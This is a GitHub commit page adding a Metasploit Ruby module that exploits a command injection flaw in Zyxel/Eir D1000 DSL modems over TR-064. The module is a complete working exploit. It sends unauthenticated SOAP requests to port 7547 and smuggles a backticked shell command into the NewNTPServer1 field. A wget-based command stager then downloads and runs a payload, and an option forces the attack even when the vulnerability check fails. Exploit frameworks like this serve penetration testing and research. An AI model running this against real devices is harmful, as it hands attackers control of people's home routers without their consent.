Skip to content

Commit 19319f1

Browse files
committed
Land rapid7#7626, Eir D1000 modem exploit
2 parents 7ef4db1 + b0e7907 commit 19319f1

File tree

1 file changed

+140
-0
lines changed

1 file changed

+140
-0
lines changed
Lines changed: 140 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,140 @@
1+
require 'msf/core'
2+
3+
class MetasploitModule < Msf::Exploit::Remote
4+
Rank = NormalRanking
5+
6+
include Msf::Exploit::Remote::HttpClient
7+
include Msf::Exploit::CmdStager
8+
9+
def initialize(info = {})
10+
super(update_info(info,
11+
'Name' => 'Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064',
12+
'Description' => %q{
13+
Broadband DSL modems manufactured by Zyxel and distributed by some
14+
European ISPs are vulnerable to a command injection vulnerability when setting
15+
the 'NewNTPServer' value using the TR-64 SOAP-based configuration protocol. In
16+
the tested case, no authentication is required to set this value on affected
17+
DSL modems.
18+
19+
This exploit was originally tested on firmware versions up to 2.00(AADU.5)_20150909.
20+
},
21+
'Author' =>
22+
[
23+
'Kenzo', # Vulnerability discovery and original Metasploit module
24+
'Michael Messner <devnull[at]s3cur1ty.de>', # Copypasta from TheMoon msf module, payload help
25+
'todb', # Metasploit module
26+
'wvu' , # Metasploit module
27+
'0x27' # Metasploit module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
[ 'EDB', '40740' ],
33+
[ 'URL', 'https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/'],
34+
[ 'URL', 'https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759'],
35+
[ 'URL', 'https://broadband-forum.org/technical/download/TR-064.pdf']
36+
],
37+
'DisclosureDate' => 'Nov 07 2016',
38+
'Privileged' => true,
39+
'Targets' =>
40+
[
41+
[ 'MIPS Big Endian',
42+
{
43+
'Platform' => 'linux',
44+
'Arch' => ARCH_MIPSBE
45+
}
46+
],
47+
[ 'MIPS Little Endian',
48+
{
49+
'Platform' => 'linux',
50+
'Arch' => ARCH_MIPSLE
51+
}
52+
],
53+
54+
],
55+
'DefaultTarget' => 0,
56+
'DefaultOptions' => {'WfsDelay' => 10}
57+
))
58+
59+
register_options(
60+
[
61+
Opt::RPORT(7547), # TR-064 CWMP port for SOAP/XML commands
62+
OptBool::new('FORCE_EXPLOIT', [false, 'Force an attempt even if the check fails', nil])
63+
], self.class)
64+
65+
end
66+
67+
def set_new_ntp_server(cmd)
68+
template = "<?xml version=\"1.0\"?>"
69+
template << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
70+
template << " <SOAP-ENV:Body>"
71+
template << " <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">"
72+
template << " <NewNTPServer1>`%s`</NewNTPServer1>" # Backticks, aw yeah
73+
template << " <NewNTPServer2></NewNTPServer2>"
74+
template << " <NewNTPServer3></NewNTPServer3>"
75+
template << " <NewNTPServer4></NewNTPServer4>"
76+
template << " <NewNTPServer5></NewNTPServer5>"
77+
template << " </u:SetNTPServers>"
78+
template << " </SOAP-ENV:Body>"
79+
template << "</SOAP-ENV:Envelope>"
80+
81+
template % cmd
82+
end
83+
84+
def execute_command(cmd, opts)
85+
uri = '/UD/act?1'
86+
soapaction = "urn:dslforum-org:service:Time:1#SetNTPServers"
87+
injected_data = set_new_ntp_server(cmd)
88+
begin
89+
res = send_request_cgi({
90+
'uri' => uri,
91+
'ctype' => "text/xml",
92+
'method' => 'POST',
93+
'headers' => {
94+
'SOAPAction' => soapaction,
95+
},
96+
'data' => injected_data
97+
}, 2)
98+
return res
99+
rescue ::Rex::ConnectionError
100+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
101+
end
102+
end
103+
104+
def check
105+
begin
106+
res = send_request_cgi({
107+
'uri' => '/globe' # TODO: Check this? Why not /UD/act?1
108+
})
109+
rescue ::Rex::ConnectionError
110+
vprint_error("#{peer} - A connection error has occured")
111+
return Exploit::CheckCode::Unknown
112+
end
113+
114+
if res and res.code == 404 and res.body =~ /home_wan\.htm/
115+
return Exploit::CheckCode::Appears
116+
end
117+
118+
return Exploit::CheckCode::Safe
119+
end
120+
121+
def inject_staged_data
122+
execute_cmdstager(flavor: :wget, linemax: 65, delay: 3)
123+
end
124+
125+
def exploit
126+
print_status("#{peer} - Checking...")
127+
128+
if check == Exploit::CheckCode::Appears
129+
print_status("#{peer} - Appears vulnerable")
130+
inject_staged_data
131+
elsif datastore['FORCE_EXPLOIT']
132+
print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.")
133+
inject_staged_data
134+
else
135+
fail_with(Failure::Unknown, "#{peer} - Failed to access the device")
136+
end
137+
138+
end
139+
140+
end

0 commit comments

Comments
 (0)